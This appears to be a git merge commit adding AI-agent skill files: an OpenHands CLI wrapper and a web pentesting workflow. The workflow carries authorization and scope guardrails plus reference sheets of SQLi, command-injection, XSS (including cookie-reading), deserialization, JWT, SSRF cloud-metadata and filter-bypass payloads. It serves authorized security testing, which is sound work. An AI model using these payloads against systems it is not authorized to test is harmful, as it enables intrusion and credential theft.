Merge origin/main into feat/iron-proxy

Single content conflict in hermes_cli/config.py — kept BOTH the
paste_collapse_threshold knobs from main and the proxy section from
this branch (they're independent additions to DEFAULT_CONFIG).

All 187 tests in test_iron_proxy.py + test_iron_proxy_cli.py +
test_config.py pass post-merge.

+description: Delegate coding to OpenHands CLI (model-agnostic, LiteLLM).
+version: 0.1.0
+author: Tim Koepsel (xzessmedia), Hermes Agent
+license: MIT
+platforms: [linux, macos]
+metadata:

+---
+
+# OpenHands CLI
+
+Delegate coding tasks to the [OpenHands CLI](https://github.com/All-Hands-AI/OpenHands) via the `terminal` tool. OpenHands is model-agnostic: any LiteLLM-supported provider (OpenAI, Anthropic, OpenRouter, DeepSeek, Ollama, vLLM, etc.).
+
+This skill is the headless-mode wrapper for batch / one-shot delegation. The interactive textual UI is not used from Hermes.
+
+## When to Use
+
+- User wants a coding task delegated to OpenHands specifically.
+- User wants a coding agent that can run on a non-Anthropic / non-OpenAI provider (DeepSeek, Qwen, Ollama, vLLM, Nous, etc.) — sibling skills `claude-code` and `codex` are tied to one vendor.
+- Multi-step file edits + shell commands inside a workspace.
+
+For Claude-native, prefer `claude-code`. For OpenAI-native, prefer `codex`. For Hermes-native subagents, use `delegate_task`.
+
+## Prerequisites
+
+1. Install upstream (requires Python 3.12+ and `uv`):
+
+   ```
+   terminal(command="uv tool install openhands --python 3.12")
+   ```
+
+   Verify: `openhands --version` (currently `OpenHands CLI 1.16.0` / `SDK v1.21.0` at time of writing).
+
+2. Pick a model and set env vars for `--override-with-envs`:
+
+   ```
+   export LLM_MODEL=openrouter/openai/gpt-4o-mini       # or any LiteLLM slug
+   export LLM_API_KEY=$OPENROUTER_API_KEY
+   export LLM_BASE_URL=https://openrouter.ai/api/v1     # omit for native OpenAI
+   ```
+
+   `LLM_MODEL` uses LiteLLM's full slug. When the provider is OpenRouter the slug is doubly-prefixed: `openrouter/<vendor>/<model>` (e.g. `openrouter/anthropic/claude-sonnet-4.5`). For native Anthropic: `anthropic/claude-sonnet-4-5`. For native OpenAI: `openai/gpt-4o-mini`.
+
+3. Suppress the startup banner so JSON output isn't preceded by ASCII art:
+
+   ```
+   export OPENHANDS_SUPPRESS_BANNER=1
+   ```
+
+## How to Run
+
+Always invoke through the `terminal` tool. Always pass `--headless --json --override-with-envs --exit-without-confirmation` for automation.
+
+### One-shot task
+
+```
+terminal(
+  command="OPENHANDS_SUPPRESS_BANNER=1 LLM_MODEL=openrouter/openai/gpt-4o-mini LLM_API_KEY=$OPENROUTER_API_KEY LLM_BASE_URL=https://openrouter.ai/api/v1 openhands --headless --json --override-with-envs --exit-without-confirmation -t 'Add error handling to all API calls in src/'",
+  workdir="/path/to/project",
+  timeout=600
+)
+```
+
+### Background for long tasks
+
+```
+terminal(command="<same as above>", workdir="/path/to/project", background=true, notify_on_complete=true)
+process(action="poll", session_id="<id>")
+process(action="log", session_id="<id>")
+```
+
+### Resume a previous conversation
+
+OpenHands prints `Conversation ID: <32-hex>` and a `Hint: openhands --resume <dashed-uuid>` line at the end of each run. Use the dashed form to resume:
+
+```
+terminal(
+  command="OPENHANDS_SUPPRESS_BANNER=1 LLM_MODEL=... openhands --headless --json --override-with-envs --exit-without-confirmation --resume <dashed-uuid> -t 'Now fix the bug you found'",
+  workdir="/path/to/project"
+)
+```
+
+## Real Flag List
+
+Verified against `openhands --help` (CLI 1.16.0). Anything not in this table is not a flag — pass it via env var or settings file.
+
+| Flag | Effect |
+|------|--------|
+| `--headless` | No UI, requires `-t` or `-f`. Auto-approves all actions (no `--llm-approve` in this mode). |
+| `--json` | JSONL event stream (requires `--headless`). |
+| `-t TEXT` | Task prompt. |
+| `-f PATH` | Read task from file. |
+| `--resume [ID]` | Resume conversation. No ID → list recent. |
+| `--last` | Resume most recent (with `--resume`). |
+| `--override-with-envs` | Apply `LLM_API_KEY` / `LLM_BASE_URL` / `LLM_MODEL` env vars. Without this, OpenHands uses `~/.openhands/settings.json` and ignores the env. |
+| `--exit-without-confirmation` | Don't show the "are you sure" exit dialog. |
+| `--always-approve` / `--yolo` | Auto-approve every action (default in `--headless`). |
+| `--llm-approve` | LLM-based security gate (interactive only — does NOT work in headless). |
+| `--version` / `-v` | Print version and exit. |
+
+**There is no `--model`, `--max-iterations`, `--workspace`, `--sandbox`, `--sandbox-type` flag.** Model is `LLM_MODEL`. Workspace is the `workdir` you pass to the `terminal` tool. Sandbox / runtime is the `RUNTIME` and `SANDBOX_VOLUMES` env vars.
+
+## JSON Event Schema
+
+With `--json --headless`, OpenHands emits JSONL — one JSON object per line, plus a handful of non-JSON status lines (`Initializing agent...`, `Agent is working`, `Agent finished`, the final summary box, `Goodbye!`, `Conversation ID:`, `Hint:`). Filter for lines starting with `{`.
+
+Top-level `kind` field discriminates events:
+
+- `MessageEvent` — user / agent text turn. `source` is `user` or `agent`.
+- `ActionEvent` — agent picked a tool. Read `tool_name` (`file_editor`, `terminal`, `finish`) and `action.kind` (`FileEditorAction`, `TerminalAction`, `FinishAction`).
+- `ObservationEvent` — tool result. `observation.is_error` is the success flag. `source` is `environment`.
+- `FinishAction` inside an `ActionEvent` carries the agent's final message in `action.message`.
+
+The cli prints all stderr from LiteLLM/Authlib first — see Pitfalls. Parse only stdout, line by line, ignoring lines that don't start with `{`.
+
+## Pitfalls
+
+- **LiteLLM warnings on every invocation.** The CLI prints `bedrock-runtime` and `sagemaker-runtime` warnings to stderr because `botocore` isn't installed. Plus an Authlib deprecation. These are noise, not failures. Pipe stderr to `/dev/null` or filter it out before showing the user.
+- **Banner spam.** Without `OPENHANDS_SUPPRESS_BANNER=1`, every run starts with a multi-line `+--+` ASCII box advertising the SDK. Always export it.
+- **`--override-with-envs` is mandatory for automation.** Without it, OpenHands ignores `LLM_API_KEY` / `LLM_BASE_URL` / `LLM_MODEL` and falls back to `~/.openhands/settings.json`. On a fresh install this file doesn't exist and the CLI hangs waiting for first-run setup.
+- **Model slug is LiteLLM's, not the provider's.** `openrouter/openai/gpt-4o-mini` works; `openai/gpt-4o-mini` while pointed at OpenRouter does not. `anthropic/claude-sonnet-4-5` (hyphen) is native Anthropic; `openrouter/anthropic/claude-sonnet-4.5` (dot) is via OpenRouter. Get it wrong → cryptic LiteLLM 400.
+- **`pip install openhands-ai` is the wrong package.** That's the legacy V0 SDK. The new CLI is `uv tool install openhands --python 3.12`. There is no maintained conda package.
+- **Resume ID format is fiddly.** The CLI ends with `Conversation ID: f46573d9cfdb45e492ca189bde40019b` (no dashes) and then a `Hint: openhands --resume f46573d9-cfdb-45e4-92ca-189bde40019b` (with dashes). Use the dashed form.
+- **Headless ignores `--llm-approve`.** If you pass it, you get an argparse error. Headless mode hardcodes always-approve.
+- **No Windows support upstream.** The OpenHands docs require WSL on Windows. This skill is gated `[linux, macos]` accordingly.
+- **`~/.openhands/conversations/<id>/` accumulates.** Each run persists a trajectory. Clean it up if running batches.
+- **Heavy install (~200 packages).** Use `uv tool install` (isolated venv) to avoid dependency conflicts with the active project.
+
+## Verification
+
+```
+terminal(
+  command="OPENHANDS_SUPPRESS_BANNER=1 LLM_MODEL=openrouter/openai/gpt-4o-mini LLM_API_KEY=$OPENROUTER_API_KEY LLM_BASE_URL=https://openrouter.ai/api/v1 openhands --headless --json --override-with-envs --exit-without-confirmation -t 'Print the string OPENHANDS_OK to stdout via the terminal tool.'",
+  workdir="/tmp",
+  timeout=120
+)
+```
+
+If the JSONL stream ends with a `FinishAction` whose `action.message` mentions `OPENHANDS_OK`, the install is working.

+# Web Application Penetration Testing
+
+A phased pentesting workflow for running web applications. Adapted from
+Shannon's pipeline (Keygraph, AGPL — concepts only, no code borrowed).
+Built around three rules:
+
+1. No exploit, no report — every finding requires reproducible evidence.
+2. Bounded scope — every active request goes against a target the operator
+   pre-declared. Off-scope hosts are refused.
+3. Bypass exhaustion before false-positive dismissal — a "blocked" payload
+   is not a clean bill of health until you've tried the bypass set.
+
+---
+
+## ⚠️ Hard Guardrails — Read Before Every Engagement
+
+Violating any of these invalidates the engagement and may be illegal.
+
+1. **Authorization gate.** Before the first active scan in a session, you
+   MUST confirm with the user, in writing, that they own or have written
+   authorization to test the target. Record the acknowledgement in
+   `engagement/authorization.md` (see template). No acknowledgement → no
+   active scanning. Reading public pages with `curl` is fine; sending
+   payloads is not.
+
+2. **Scope allowlist.** Maintain `engagement/scope.txt` — one hostname or
+   CIDR per line. Every `nmap`, `curl`, `whatweb`, browser navigation, or
+   payload-bearing request MUST be against an entry in scope. If a target
+   redirects you off-scope (3xx to a different host, a link in HTML),
+   STOP and confirm with the user before following.
+
+3. **No production systems without paper.** If the user hasn't told you
+   "yes, prod is in scope and I have written sign-off," assume not. Default
+   targets are staging, local docker, dedicated test instances.
+
+4. **Cloud metadata is off by default.** Do not probe `169.254.169.254`,
+   `metadata.google.internal`, `100.100.100.200`, `[fd00:ec2::254]`, or
+   equivalent unless the engagement explicitly includes SSRF-to-metadata
+   as a goal AND the target is one you control. The agent's browser tool
+   can reach these from inside your own infrastructure — don't.
+
+5. **Destructive payloads need approval.** SQLi payloads that DROP/DELETE,
+   filesystem-write SSTI, command injection with `rm`/`shutdown`/`mkfs`,
+   anything that mutates beyond a single test row → ASK FIRST. The
+   `approval.py` system catches some; don't rely on it alone.
+
+6. **Aux-client leakage risk (Hermes-specific).** This skill produces
+   sessions full of SQLi/XSS/RCE payloads, captured credentials, JWT
+   tokens. Hermes' compression and title-generation paths replay history
+   through the auxiliary client (often the main model). Anything sensitive
+   you write to the conversation can leave the box on the next compress.
+   Mitigation:
+   - Redact captured tokens/credentials to the LAST 6 CHARS before logging
+     them in any message. Full values go to `engagement/evidence/` files,
+     never into chat history.
+   - If the engagement is sensitive, set `auxiliary.title_generation.enabled: false`
+     in `~/.hermes/config.yaml` for the session.
+
+7. **Rate limit yourself.** Default 200ms between active requests against
+   any single host. The recon-scan.sh script enforces this. Don't bypass
+   it without operator approval.
+
+8. **Authority of the report.** This skill produces a security
+   assessment, not a "PASS." Even a clean run is "no exploitable issues
+   FOUND in scope X within time T using methods Y" — not "the application
+   is secure." Mirror that language in the report.
+
+---
+
+## Phase 0: Engagement Setup
+
+Before any scanning happens, create the engagement directory and
+authorization acknowledgement.
+
+```bash
+ENGAGEMENT=engagement-$(date +%Y%m%d-%H%M%S)
+mkdir -p "$ENGAGEMENT"/{evidence,findings,reports}
+cd "$ENGAGEMENT"
+```
+
+1. **Ask the user (verbatim):**
+   > "Confirm: (a) the target URL is [X], (b) you own this application
+   > or have written authorization to test it, and (c) the engagement
+   > may run for up to [N] hours starting now. Reply 'authorized' to
+   > proceed."
+
+2. **Wait for explicit `authorized` response.** Any other answer means STOP.
+
+3. **Record authorization** to `engagement/authorization.md` using the
+   template in `templates/authorization.md`. Include:
+   - Target URL(s) and IP(s)
+   - Authorization basis (ownership / written authz from $name)
+   - Engagement window
+   - Out-of-scope items (production, third-party services, etc.)
+   - Operator name (the user driving this session)
+
+4. **Build scope.txt:**
+   ```
+   localhost
+   127.0.0.1
+   staging.example.com
+   192.168.1.0/24    # internal lab only, with operator OK
+   ```
+
+5. **Read** `references/scope-enforcement.md` before issuing the first
+   active request — that doc has the host-extraction rules you apply
+   to every command/URL before it goes out.
+
+---
+
+## Phase 1: Pre-Recon (Code Analysis, optional)
+
+Skip if no source access (black-box engagement).
+
+If you have read access to the application source:
+
+1. **Map the architecture** — framework, routing, middleware stack
+2. **Inventory sinks** — every `execute(`, `os.system(`, `eval(`,
+   template render, file read/write, redirect target
+3. **Map auth** — session cookie vs JWT, OAuth flows, password reset,
+   privileged endpoints
+4. **Identify trust boundaries** — what's authenticated, what's not,
+   what comes from `request.*`
+5. **Backward taint** from each sink to a request source. Early-terminate
+   when proper sanitization is found (parameterized queries, allowlists,
+   `shlex.quote`, well-known escapers).
+
+Output: `evidence/pre-recon.md` — architecture map, sink inventory,
+suspected vulnerable code paths.
+
+This is OFFLINE work. No traffic to the target.
+
+---
+
+## Phase 2: Recon (Live, Read-Only)
+
+Maps the attack surface. All requests are GETs of public pages, no
+payloads yet. Still scope-bounded.
+
+1. **Verify scope.** Resolve every target hostname → IP. Confirm IPs are
+   in scope (avoids the "DNS points somewhere unexpected" trap).
+
+2. **Network surface** (only if scope permits port scanning):
+   ```bash
+   nmap -sT -T3 --top-ports 100 -oN evidence/nmap.txt $TARGET
+   ```
+   Use `-T3` (default), not `-T4/-T5`. Stealthier and avoids tripping
+   IDS/IPS in shared environments.
+
+3. **Tech fingerprint:**
+   ```bash
+   whatweb -v $TARGET_URL > evidence/whatweb.txt
+   curl -sIk $TARGET_URL > evidence/headers.txt
+   ```
+
+4. **Endpoint discovery:**
+   - Crawl the app with the browser tool (`browser_navigate`,
+     `browser_get_images`, follow links).
+   - Inspect `robots.txt`, `sitemap.xml`, `.well-known/*`.
+   - Use the developer tools network panel via browser tool to capture
+     XHR/fetch calls.
+
+5. **Auth surface:** Identify login, registration, password reset,
+   session cookie names, token formats. Do NOT send credentials yet —
+   just observe.
+
+6. **Correlate with pre-recon** (if you have source). For each
+   `evidence/pre-recon.md` finding, mark whether the live surface
+   confirms it's reachable.
+
+Output: `evidence/recon.md` — endpoints, technologies, auth model,
+input vectors.
+
+---
+
+## Phase 3: Vulnerability Analysis
+
+One delegate_task per vulnerability class. Each agent reads
+`evidence/recon.md` (+ `evidence/pre-recon.md` if present), produces
+`findings/<class>-queue.json` using `templates/exploitation-queue.json`.
+
+Use `delegate_task` with these focused subagents (parallel where possible):
+
+| Class | Goal | Reference |
+|-------|------|-----------|
+| `injection` | SQLi, command, path traversal, SSTI, LFI/RFI, deserialization | `references/vuln-taxonomy.md` (slot types) |
+| `xss` | Reflected, stored, DOM-based | `references/vuln-taxonomy.md` (render contexts) |
+| `auth` | Login bypass, JWT confusion, session fixation, OAuth flaws | `references/exploitation-techniques.md` |
+| `authz` | IDOR, vertical/horizontal escalation, business logic | `references/exploitation-techniques.md` |
+| `ssrf` | Internal reachability, metadata, protocol smuggling | Skip metadata unless explicitly authorized |
+| `infra` | Misconfig, info disclosure, default creds, exposed admin | `references/exploitation-techniques.md` |
+
+Each queue entry has: id, vuln class, source (file:line if known),
+endpoint, parameter, slot type, suspected defense, verdict
+(`identified` / `partial` / `confirmed` / `critical`), witness payload,
+confidence (0-1), notes.
+
+The analysis phase doesn't send malicious payloads yet — it stages them.
+The exploitation phase actually fires them.
+
+---
+
+## Phase 4: Exploitation (Proof-Based, Conditional)
+
+Only run a sub-agent per class where the analysis queue has actionable
+entries (`identified` or `partial`).
+
+For each candidate:
+
+1. **Pre-send check** — host in scope? auth gate satisfied? payload
+   approved if destructive?
+2. **Send the witness payload** — minimal proof. SQLi: `' AND 1=1--`
+   then `' AND 1=2--`. XSS: a benign marker like
+   `<svg/onload=console.log("HERMES-PENTEST-XSS")>`. Never `alert(1)` in
+   stored XSS — it'll fire for other users in shared environments.
+3. **Verify the witness fires** — for blind injection, use a sleep
+   probe (`SLEEP(5)`) and time the response. For SSRF, use a
+   tester-controlled callback host you own (NOT a public service like
+   webhook.site for sensitive engagements — exfil paths).
+4. **Promote level:**
+   - **L1 Identified** — pattern matched, no behavior change
+   - **L2 Partial** — sink reached, but defense in place
+   - **L3 Confirmed** — payload changed app behavior in observable way
+   - **L4 Critical** — data extracted, code executed, access escalated
+5. **Bypass exhaustion before classifying as FP.** For each candidate
+   that blocks: try at least the bypass set in
+   `references/bypass-techniques.md` for that class. Only after the set
+   is exhausted may you write `verdict: false_positive`.
+6. **Record evidence** for every L3/L4:
+   - Full request (method, URL, headers, body)
+   - Response (status, headers, relevant body excerpt)
+   - Reproducer command (curl one-liner)
+   - Impact statement
+
+Output: `findings/exploitation-evidence.md`
+
+**Redact in evidence files:**
+- Any captured credentials/tokens → last 6 chars only in chat;
+  full value to `findings/secrets-vault.md` (gitignored).
+- Other users' PII → redact.
+- Your test credentials → fine to keep.
+
+---
+
+## Phase 5: Reporting
+
+Generate the final report using `templates/pentest-report.md`. Sections:
+
+1. Executive summary
+2. Engagement scope (from `engagement/scope.txt`)
+3. Authorization (from `engagement/authorization.md`)
+4. Findings (L3/L4 only — proof-required). Per finding:
+   - Title, severity (CVSS 3.1), CWE
+   - Affected endpoint(s)
+   - Proof (request + response excerpt)
+   - Reproduction steps
+   - Impact
+   - Remediation
+5. Not-exploited candidates (L1/L2 with notes on what blocked them)
+6. Out-of-scope observations
+7. Methodology / tools used
+8. Limitations and what was NOT tested
+
+**Severity policy:** CVSS only for L3/L4. L1/L2 are "candidates pending
+verification" — don't assign CVSS to unverified findings.
+
+---
+
+## When to Stop
+
+- The user revokes authorization.
+- A candidate finding clearly impacts production data and you don't have
+  approval for destructive testing — STOP and ask.
+- The target starts returning 503/429 storms — back off, reconvene with
+  the operator.
+- You discover something *outside* the contracted scope (e.g. an exposed
+  customer database while testing an unrelated endpoint). STOP, document,
+  report to the operator. Do not pivot without explicit approval — that
+  pivot is what makes pentesting illegal.
+
+---
+
+## What This Skill Does NOT Cover
+
+- Network-layer pentesting beyond port scanning (no Metasploit,
+  Cobalt Strike, AD attacks, network protocol fuzzing).
+- Reverse engineering / binary analysis (see issue #383).
+- Source-only static analysis (see issue #382).
+- Active social engineering / phishing.
+- Anything against systems the operator hasn't pre-authorized.
+
+If the engagement needs any of these, escalate to a professional
+pentester. This skill complements professional pentesting; it does
+not replace it.

+# Bypass Techniques
+
+Common filter/WAF bypasses. Used during the bypass-exhaustion phase
+before classifying a finding as false positive.
+
+A finding may only be marked `false_positive` AFTER the relevant
+bypass set has been exhausted and the witnesses still fail.
+
+## SQL Injection Bypasses
+
+When `'` is filtered/escaped:
+- Numeric injection: drop the quote, use `1 OR 1=1`
+- Different quote: `"` instead of `'`
+- Comment-based: `1/**/OR/**/1=1`
+- Hex literal: `0x61646d696e` for `admin`
+- `CHAR(65,66)` for `AB`
+- Case variation: `OoRr` (often stripped to `OR`)
+- Inline comments: `O/**/R`
+- Null byte: `' %00 OR '1`=`1`
+- Double URL encoding: `%2527` for `'`
+- Multi-byte: `%bf%27` (works against some single-byte unescape)
+
+## Command Injection Bypasses
+
+When semicolons filtered:
+- Newline: `%0Asleep 5`
+- Carriage return: `%0Dsleep 5`
+- Pipe: `|sleep 5`, `||sleep 5`
+- Background: `&sleep 5`, `&&sleep 5`
+- Substitution: `$(sleep 5)`, `` `sleep 5` ``
+- Globbing: `/???/?l??p 5` for `/bin/sleep 5`
+- IFS for spaces: `sleep${IFS}5`, `sleep$IFS$95`
+- Quote evasion: `s""leep 5`, `s'l'eep 5`
+- Variable: `a=sl;b=eep;${a}${b} 5`
+- Encoding: `bash<<<$(base64 -d <<< c2xlZXAgNQo=)`
+
+## Path Traversal Bypasses
+
+When `../` filtered:
+- URL-encoded: `%2e%2e%2f`
+- Double URL-encoded: `%252e%252e%252f`
+- Unicode: `%c0%ae%c0%ae%c0%af`, `%uff0e%uff0e%u2215`
+- Mixed: `..%2f`, `%2e./`
+- Null byte (older platforms): `../../../etc/passwd%00.png`
+- Backslash on Windows: `..\..\..\windows\win.ini`
+- Absolute path: `/etc/passwd` (skips traversal entirely)
+
+When base dir is prepended (`/var/www/uploads/${v}`):
+- The traversal still works if `realpath` not enforced
+- Try ending the path early: `../../etc/passwd%00`
+
+## XSS Bypasses
+
+When `<script>` blocked:
+- `<img src=x onerror=...>`
+- `<svg/onload=...>`
+- `<iframe srcdoc="...">`
+- `<details ontoggle=...>` (HTML5)
+- `<video><source onerror=...>`
+- `<input autofocus onfocus=...>`
+
+When parens filtered:
+- Template literals: `onerror=alert\`1\``
+- `onerror=eval('alert(1)')` → `onerror=eval(name)` + set
+  `window.name` from attacker page
+
+When event handlers stripped:
+- `<a href="javascript:alert(1)">` (often still works)
+- `<form action="javascript:alert(1)"><input type=submit>`
+- SVG: `<svg><animate attributeName=href values=javascript:alert(1) ...>`
+
+When `alert` filtered:
+- `confirm(1)`, `prompt(1)`, `print()`
+- `top.alert(1)`, `self['ale'+'rt'](1)`
+- `window['ale\u0072t'](1)` (unicode in property access)
+- `Function("alert(1)")()`
+
+CSP bypasses (require CSP misconfig):
+- `unsafe-inline` allows everything
+- `unsafe-eval` allows `eval`/`Function`
+- Wildcard sources (`*.googleapis.com`) — angular/jsonp gadgets
+- `'strict-dynamic'` without nonce/hash on inline → still blocked but
+  external scripts allowed via trusted loader
+- Old CSP without `default-src`/`script-src` → only blocks listed
+
+## Authentication Bypasses
+
+- HTTP verb tampering: `GET /admin` blocked → try `POST`, `PUT`, `OPTIONS`
+- Path normalization: `/admin/` blocked → try `/admin`, `/admin/.`,
+  `/admin/x/..`, `//admin`, `/%2e/admin`, `/Admin` (case)
+- Header injection: `X-Original-URL: /admin`, `X-Forwarded-For: 127.0.0.1`,
+  `X-Real-IP: 127.0.0.1`, `X-Forwarded-Proto: https`
+- Trailing chars: `/admin#`, `/admin?`, `/admin/`, `/admin.json`,
+  `/admin..;/`, `/admin/..;/`
+- Method confusion via `X-HTTP-Method-Override: GET`
+
+## SSRF Bypasses
+
+When `127.0.0.1` blocked:
+- IPv6 loopback: `[::1]`, `[0:0:0:0:0:0:0:1]`
+- Decimal IP: `2130706433` for `127.0.0.1`
+- Hex IP: `0x7f000001`
+- Octal: `0177.0.0.1`
+- Short form: `127.1`, `0.0.0.0`, `0`
+- DNS rebinding: control a DNS server, return `127.0.0.1` on second
+  resolution (TTL=0)
+- DNS records that resolve to internal IPs: `localtest.me` (127.0.0.1)
+- URL parsing differentials: `http://allowed-host@127.0.0.1`,
+  `http://127.0.0.1#@allowed-host`
+- IDN homograph: `http://1．0．0．1` (fullwidth dots)
+
+When schemes blocked:
+- `gopher://`, `dict://`, `file://`, `ftp://`
+- `data:` (for content-type bypass)
+- `jar:` (Java)
+
+## Rate Limit Bypasses
+
+- Header rotation: `X-Forwarded-For`, `X-Real-IP`, `X-Originating-IP`,
+  `X-Client-IP`, `X-Cluster-Client-IP`, `Forwarded`
+- Case: `X-FORWARDED-FOR`
+- User-Agent variation
+- Different endpoint that hits same handler
+
+## Bypass Discipline
+
+For each bypass attempt:
+1. Note WHAT you tried and WHY it might work (in your evidence log)
+2. Capture the response
+3. If still blocked, move to the next item in the bypass set
+4. Only after the documented bypass set is exhausted do you write
+   `verdict: false_positive` with reason "bypass set exhausted; defense
+   appears effective for this slot type."

+# Exploitation Techniques
+
+Per-class playbooks. Use these as starting points for witness payloads.
+ALWAYS apply scope enforcement before sending anything from this file.
+
+## Injection
+
+### SQL Injection
+
+Witness sequence (UNION-blind safe):
+1. Baseline: capture response for original parameter
+2. `' AND 1=1--` (true branch)
+3. `' AND 1=2--` (false branch)
+4. Compare lengths/bodies. Difference = SQLi.
+
+Time-based:
+- MySQL: `' AND SLEEP(5)--`
+- Postgres: `'; SELECT pg_sleep(5)--`
+- MSSQL: `'; WAITFOR DELAY '0:0:5'--`
+- SQLite: `' AND randomblob(100000000)--` (CPU-burn alternative)
+
+DO NOT send: `'; DROP TABLE` payloads. Reproducing the bug doesn't
+require destruction.
+
+### Command Injection
+
+Witness:
+- Linux: `; sleep 5` or `$(sleep 5)` or `` `sleep 5` ``
+- Windows: `& timeout /t 5`
+- If output is reflected: `; echo HERMESPENTEST-$(id)`
+
+Blind: time-delay probe is universally safe. Don't `rm -rf`.
+
+### Path Traversal
+
+Witness: `../../../../etc/passwd` (Linux) or `..\..\..\..\windows\win.ini` (Windows).
+Try with: URL-encoded, double-encoded, Unicode (`%c0%ae%c0%ae`),
+and SMB UNC (`\\evil-host\share` — only with operator OK).
+
+### SSTI (Server-Side Template Injection)
+
+Witness:
+- Jinja2: `{{7*7}}` → `49`
+- Twig: `{{7*7}}` → `49`
+- Smarty: `{$smarty.version}` or `{php}echo 1;{/php}`
+- ERB: `<%= 7*7 %>` → `49`
+- Velocity: `#set($x=7*7)$x`
+
+Detection is the 49 (or template-specific equivalent). Don't go to RCE
+without operator OK.
+
+### Deserialization
+
+If you can identify the format:
+- Pickle: send `cos\nsystem\n(S'sleep 5'\ntR.` (base64'd, in the
+  right context). Witness via time delay.
+- YAML: `!!python/object/apply:os.system ["sleep 5"]`
+- Java serialized: ysoserial gadgets, only with operator OK because
+  these almost always RCE.
+
+## XSS
+
+### Reflected
+
+Witness: `<svg/onload=fetch("/HERMES-PENTEST-XSS-"+document.cookie)>`
+where the path is one you'll grep for in server logs. NEVER use
+`alert(1)` — pop-ups annoy real users if your "test" target has any.
+
+If reflected unencoded → L3 confirmed.
+
+### Stored
+
+Witness in a way that ONLY YOUR test account sees first. Use a unique
+marker per finding. If the marker fires for other users → L4 critical.
+
+Pattern: `<svg/onload=fetch("/HERMES-${runId}-${vulnId}")>`. Add a
+server-side log grep step to your evidence.
+
+### DOM XSS
+
+Inspect every `document.write`, `innerHTML`, `eval`, `setTimeout(string)`,
+`Function(string)`, `setAttribute("href", ...)` site. The taint source
+is usually `location.hash`, `location.search`, `localStorage`,
+`postMessage` data, URL fragments.
+
+Witness: navigate to `#<img src=x onerror=...>`. Confirm the
+sink fires.
+
+## Auth
+
+### Login Bypass
+
+- SQLi in login: `' OR '1'='1` (very old, but check)
+- Boolean defaults: `username: admin, password: admin/password/123456`
+  (only on lab targets, not production)
+- Account enumeration: timing or response difference between
+  "unknown user" vs "wrong password"
+- Rate limiting: send 50 wrong passwords in 30s; see if you're throttled
+
+### JWT Attacks
+
+1. **alg:none**: change header to `{"alg":"none","typ":"JWT"}`, strip
+   signature. If accepted → critical.
+2. **alg confusion**: HS256 signed with the RS256 public key. If the
+   server stores the RS256 cert as a "secret" and the algorithm is
+   attacker-controlled, this works.
+3. **Weak HMAC secret**: try `jwt_tool` or `hashcat` against the JWT
+   with rockyou.txt (only if you have operator OK to crack).
+4. **kid header injection**: `kid` set to a SQLi payload or path-traversal
+   to load a known key.
+5. **Expired token still accepted**: replay an old token.
+
+### Session
+
+- Cookie attrs: `Secure`, `HttpOnly`, `SameSite=Strict|Lax`.
+- Session fixation: log in, note cookie, log out, log in again — same
+  cookie? Vulnerable.
+- Logout: does logout invalidate server-side, or just clear the client?
+
+### Password Reset
+
+- Predictable token (timestamp, sequential, weak random)
+- Host header poisoning in reset link (`Host: evil.test`)
+- No rate limit on reset endpoint
+- Token reuse / no expiry
+- Email enumeration via reset response
+
+## Authz (Access Control)
+
+### IDOR
+
+Pattern: change `?id=123` to `?id=124`. If you see another user's data,
+L3 confirmed.
+
+Variants:
+- Sequential IDs (easy)
+- UUIDs (still try — they leak in logs/responses)
+- Mass assignment: send extra params like `is_admin: true`, `role: admin`
+- HTTP method override: `GET /users/123` works, but `PUT /users/123` is
+  not authz-checked
+
+### Privilege Escalation
+
+Vertical: regular user → admin endpoint. Check:
+- `/admin/*` accessible to non-admin?
+- `role` field in JWT/session client-editable?
+- Tenant ID swap: `tenant_id=mine` → `tenant_id=theirs`
+
+Horizontal: user A → user B same role. Reuse IDOR patterns.
+
+### Business Logic
+
+- Negative quantity in cart
+- Race conditions (double-spend, atomicity)
+- Workflow skip (POST to step 3 without doing step 2)
+- Coupon stacking
+- Discount > total
+
+## SSRF
+
+Witnesses for SSRF probing (only to hosts the operator approved):
+
+- Operator-owned callback (`https://hermes-callback.example/abcdef`)
+  — confirms the request left the target's network
+- Internal recon (operator OK + scope): `http://127.0.0.1:6379/`,
+  `http://127.0.0.1:9200/`, `http://[::1]:80/`
+
+Cloud metadata (operator OK + your own infra):
+- AWS: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
+- GCP: `http://metadata.google.internal/computeMetadata/v1/` (needs
+  `Metadata-Flavor: Google`)
+- Azure: `http://169.254.169.254/metadata/identity/oauth2/token`
+- Alibaba/Aliyun: `http://100.100.100.200/`
+
+Protocol smuggling:
+- `gopher://` for Redis/Memcache/SMTP attacks (only with operator OK)
+- `file:///` for local file read
+- `dict://` for service probing
+
+## Infra
+
+- Headers audit: missing `Strict-Transport-Security`, `Content-Security-Policy`,
+  `X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`,
+  `Referrer-Policy`
+- TLS audit: weak ciphers, missing HSTS, mixed content
+- Information disclosure: `Server:`, `X-Powered-By:`, error stack traces,
+  default landing pages (`/server-status`, `/.git/`, `/.env`, `/phpinfo.php`)
+- Default creds: only on lab targets
+- Open redirects: `?next=https://evil.example/` — confirms misuse for
+  phishing chains
+
+## Defense Recognition (don't waste cycles)
+
+Skip past these — they're working defenses, not vulns:
+
+- Parameterized queries via the language's standard binding
+- Content Security Policy with no `unsafe-inline`/`unsafe-eval` and
+  a strict source list
+- argv-list subprocess invocation (Python `subprocess.run([...])`
+  without `shell=True`)
+- `yaml.safe_load`, JSON-only deserialization
+- Allowlist-based redirects to a small set of known hosts
+- Auth checks with explicit "owner == current_user" on every record fetch
+- JWT verification with both `alg` allowlist and `iss`/`aud`/`exp` checks

+# Scope Enforcement
+
+The pentest skill is dangerous because Hermes can drive network tools
+unattended. The single most important rule: **every active request must
+target a host the operator authorized.** This file is the procedure.
+
+## The Three Authorities
+
+1. `engagement/authorization.md` — what the operator wrote down.
+2. `engagement/scope.txt` — the machine-readable allowlist.
+3. The current shell prompt — implicit: "I'm running as Hermes inside
+   the operator's box."
+
+If any of those three disagree, you STOP and ask. Don't try to reconcile.
+
+## scope.txt format
+
+One target per line. Comments with `#`.
+
+```
+# Hostnames — resolved at use time
+localhost
+127.0.0.1
+::1
+staging.example.com
+api-staging.example.com
+
+# CIDR — internal labs only, requires operator OK in writing
+192.168.50.0/24
+10.0.5.0/24
+```
+
+Wildcards are NOT supported. If you need `*.staging.example.com`, list
+each host explicitly. This is on purpose: subdomain wildcards in
+authorization scope are how unauthorized testing happens.
+
+## Host Extraction Rules
+
+Before any active request, extract the target host from the command
+or URL and confirm it's in scope.
+
+| Surface | Where the host lives | Example |
+|---------|----------------------|---------|
